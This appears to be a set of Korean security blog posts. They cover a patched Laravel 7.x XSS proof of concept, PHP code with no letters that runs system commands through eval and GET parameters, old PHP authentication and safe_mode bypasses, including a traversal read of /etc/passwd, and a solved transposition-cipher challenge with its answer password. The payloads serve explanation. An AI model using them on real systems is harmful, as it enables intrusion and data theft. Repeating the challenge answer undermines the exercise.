[패치됨] Laravel 7.x – XSS vulnerability

이 포스팅은 laravel 7.0 ~ 7.1.2 까지 버전에 존재하는 취약점 입니다.
사용중이신 버전이 포함되어있다면 laravel 7.1.3이상으로 업데이트 하시기 바랍니다.

Laravel news of XSS vector

laravel-news 에서 7.1.2 미만의 버전에서 XSS 공격 포인트가 있으니 업데이트하라는 소식이 들려와 어느부분이 취약한지 궁금해 해당 부분에 대한 코드를 찾아 봤다.

Github를 의 커밋 로그를 보면 attributesToString 메소드에 $escapeBound 옵션이 추가되었고, sanitizeComponentAttribute란 static 메소드가 추가되었다.

sanitizeComponentAttribute 메소드는 입력된 값이 문자열이거나, object 인경우 __toString 매직 메소드가 존재하면 e()(laravel의 html 이스케이프 함수)로 string을 소독(?) 하는 메소드이다.

근데 x-blade 문법에서 attributes->merge하는 메소드에서는 해당 코드가 적용되지 않아 tag 부분을 이스케이프 할 수 있어 XSS 공격이 가능해진다.

XSS code

<!-- resources/views/welcome.blade.php -->
<x-xss></x-xss>
<!-- resources/views/components/xss.blade.php -->
<div {{ $attributes->merge(['class' => request()->css]) }}>XSS able</div>

URI : http://127.0.0.1:8000/?css="><script>alert(1)</script>

<!-- Result -->
<div class="\"><script>alert(1)</script>">XSS able</div>
XSS in laravel 7.1.2

위와 같이 XSS가 실행되는 것을 볼 수 있다.

Patch

메일 보내고 1시간 만에 패치하고 릴리즈 되었다 ㄷㄷ;

7.1.3 버전에서 패치되었으며[commit] composer update를 하면 자동으로 패치되어진다.

나도 업데이트에서 언급 해줫으면 좋겟다. 나도 찾은건 찾은건데… ㅜ

[PHP] Non alphanumeric code

[PHP] Non alphanumeric code

TL;DR

PHP의 가변 함수와  bit 연산자로 alphabet 없이 함수를 실행 시킨다.
1. alphabet이 아닌 문자열을 변수에 넣는다.
2. bit연산자를 통해 원하는 문자열의 bit 값으로 바꾸어 준다.
3. 가변 함수를 사용해 함수를 실행 시킨다.


<?php
if (isset($_GET['eval'])) {
    if (preg_match('/[a-z]/i', $_GET['eval'])) {
        die('No ALPHABET!!!!');
    } else {
        eval('echo '.$_GET['eval'].';');
    }
}

조건

  1. php 파라미터가 eval에 들어가 있다.
  2. 다만 입력받는 파라미터가 알파벳을 허용하지 않는다.
  3. 내가 원하는 함수 (system, shell_exec ..) 를 실행 해야 한다.

방법 1

<?php
$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;@$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=${$_[$__+ $__]} ;$_[@-_]($_[@!+_] );

?0=system&1=ls

이 기법의 장점은 어떠한 알파벳도 사용하지 않는다는 것이다.

2 ~ 3번 째 라인 실행후 $_의 변화
array(5) {
    [0]=>
    bool(true)
    [1]=>
    int(0)
    [2]=>
    string(8) "_Array57"
    [3]=>
    int(3)
    [4]=>
    string(1) "_"
}

이처럼 [4]번째 배열에 _GET문자열을 넣고 가변 함수로 사용하는 방식이다.
마지막 줄에 가장 잘 나와있는데
$_=${$_[$__+ $__]} ;$_[@-_]($_[@!+_] ); 이를 풀어서 설명하면
$_=${$_[4]} > $_=${"_GET"} > $_=$_GET
$_[@-_]($_[@!+_] ); > $_[0]($_[1] ); > $_GET[0]($_GET[1]); 이와 같이 파라미터 0으로 넘어온 값을 함수명으로,
1로 넘어온 값을 인자로 하여 실행 하게 된다.

PS 기존의 마지막 줄 코드는
$_=$
$_[$__+ $__];$_[@-_]($_[@!+_] );
 
이었으나 PHP 7이상부터
$ //(개행)
"문자열" 문법을 더이상 지원 하지 않는다.

방법 2

<?php 
$_="{";
$_=($_^"<").($_^">;").($_^"/");?>
<?=${'_'.$_}["_"](${'_'.$_}["__"]);?>

?_=system&__=ls

1에서 아무런 문자열 _GET을 만들었다면, 2번째 방법에선 “{“의 bit연산을 하여 _GET이라는 문자열을 만드는 방식이다.

3번째 줄
$_=($_^"<").($_^">;").($_^"/");에서 “{“의 bit연산을 해 ‘GET’이라는 문자열을 만든다.

4번째 줄
${'_'.$_}["_"](${'_'.$_}["__"]); 만들어지 ‘GET’에 ‘_’ 을 붙여 ‘_GET’으로 만들고 가변 함수를 사용해
파라미터 ‘_’를 함수명 ‘__’를 인자로 하여 실행한다.

 


비트 연산으로 _GET과 같은 문자열을 만들고 해당 문자열을 PHP의 문자열을 변수로 바꿔주는 특징을 활용해 알파벳 없이 가변 함수를 실행 할 수 있는 방법이였다.

[phpTrick] array === array compare bypass(?) (<5.5.9)

php Array === Array compare bug

Example Code

<?php
$arr = ['admin', 'password'];
$auth = $_GET['auth'];
if( $arr === $auth && $auth[0] != 'admin'){
    echo 'Hello admin!';
} else {
    echo 'login plz';
}

위와 같은 코드가 있을 때,
2번째 줄 $arr의 0번째인자가 admin으로 박혀있고,
3번째 줄에선 $auth와 $arr의 키/값 순서까지 일치해야 true여야하고(identity), $auth[0]이 admin이 아니여야 Hello admin!이 뜨게 된다.

하지만 ?auth[4294967296]=admin&auth[1]=password를 입력하게 되면 32bit int의 표현의 한계의 의해 auth[4294967296]auth[0]으로 들어가게 되어 해당 if 문을 통과 할 수 있게된다.

[phpTrick] php safe_mode bypass vulnerability (< 5.1.6, <4.4 )

php safe_mode bypass (<5.1.6, <4.4)


Normal Example

//localhost/download.php?dir=path/file.jpg와 같은 파일을 다운 받게 하는 페이지가 존재할 때,
LFI를 통해 서버의 파일을 다운받으려고 할 때 //localhost/download.php?dir=../../../../../../etc/passwd와 같은 쿼리를 날리게 되면

Warning: fopen(/some/path/../../../../../../etc/passwd) [function.fopen]: failed to open stream: Permission denied in /var/www/html/download.php on line 1

Safe mode 가 활성화 되어있기 때문에 다운로드가 불가능하다.

Bypass Example

이때 //localhost/download.php?dir=../../../../../../etc/passwd/./처럼 자기 자신의 파일을 가르키게 하는 텍스트를 넣는다면,

Warning: fopen(/some/path/../../../../../../etc/passwd) [function.fopen]: failed to open stream: Permission denied in /var/www/html/download.php on line 1
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync […]

위처럼 에러가 나지만 아래 파일의 내용이 포함되어 출력되게 된다.

Training: Crypto – Transposition I

Crypto – Transposition

Explain

It seems that the simple substitution ciphers are too easy for you.
From my own experience I can tell that transposition ciphers are more difficult to attack.
However, in this training challenge you should have not much problems to reveal the plaintext.


Ciphertext

oWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sra enic roertco drre . Ihtni koy uowlu dilekt  oes eoyrup sawsro don:wp ropglddpel.f

여러가지 암호화 기법이 있지만,
이를 복호화 하기 위해선 첨부된 http://en.wikipedia.org/wiki/Transposition_cipher에서 전위 암호의 정의를 보면,

In cryptography, a transposition cipher is a method of encryption by which the positions held by units of plaintext

전위 암호화는 단순히 글자들의 위치만을 바꾸어 쉽게 알아보게 하지 못하는 방식을 췽한다.

문제에 나온 암호화된 문장의 첫 시작인 “oWdnreuf.l”을 제조합 하면 Wonderful이 된는데,
2글자씩 위치가 변경(Transposition)되어 암호화 된 것이다. 즉, key가 ‘2’이라면 ‘2’글자씩 순서를 뒤바꾸는 형식인것이다.

이 방식을 역으로 이용해 거꾸로 key의 수씩 거꾸로 출력하하는 코드를 짜면 아래와 같다.

def decrypt(ciphertext, key):
    plainText = ""
    ciphertext= list(ciphertext)
    for _ in range( round(len(ciphertext)/key + 0.5) ):
        dump = ciphertext[:key]
        plainText += ''.join(dump[::-1])
        del ciphertext[:key]
    return plainText
            

ciphertext = "oWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sra enic roertco drre . Ihtni koy uowlu dilekt oes eoyrup sawsro don:wp ropglddpel.f"
key = 2

print(decrypt(ciphertext, key))

이 코드에 위에서 주어진 암호문을 넣고 실행 시키면,
Wonderful. You can read the message way better when the letters are in correct order. I think you would like to see your password now: porgpdlpdlef.
가 출력된다.